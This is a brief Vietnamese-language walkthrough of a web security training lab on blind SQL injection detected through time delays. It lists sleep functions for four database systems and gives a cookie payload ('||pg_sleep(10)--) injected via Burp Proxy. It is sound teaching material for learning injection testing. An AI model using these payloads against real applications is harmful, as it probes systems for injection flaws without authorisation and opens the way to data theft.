Lab: Blind SQL injection with time delays
Last updated
Last updated
Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.
Kết quả của truy vấn SQL không được trả về và ứng dụng không phản hồi khác nhau tùy thuộc vào việc truy vấn trả về bất kỳ hàng nào hay gây ra lỗi. Tuy nhiên, vì truy vấn được thực hiện đồng bộ nên có thể kích hoạt độ trễ thời gian có điều kiện để suy ra thông tin.
Mục tiêu: Khai thác lỗ hổng SQL injection để gây ra độ trễ 10 giây.
Kích hoạt trễ thời gian trên các loại cơ sở dữ liệu
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
Bật Intercept trong Burp Proxy, thêm vào TrackingId : '||pg_sleep(10)--
(Trên PostgreSQL)
Mất 10s để ứng dụng trả về phản hồi => Xác định được ứng dụng có lỗi SQL injection bằng cách kích hoạt độ trễ thời gian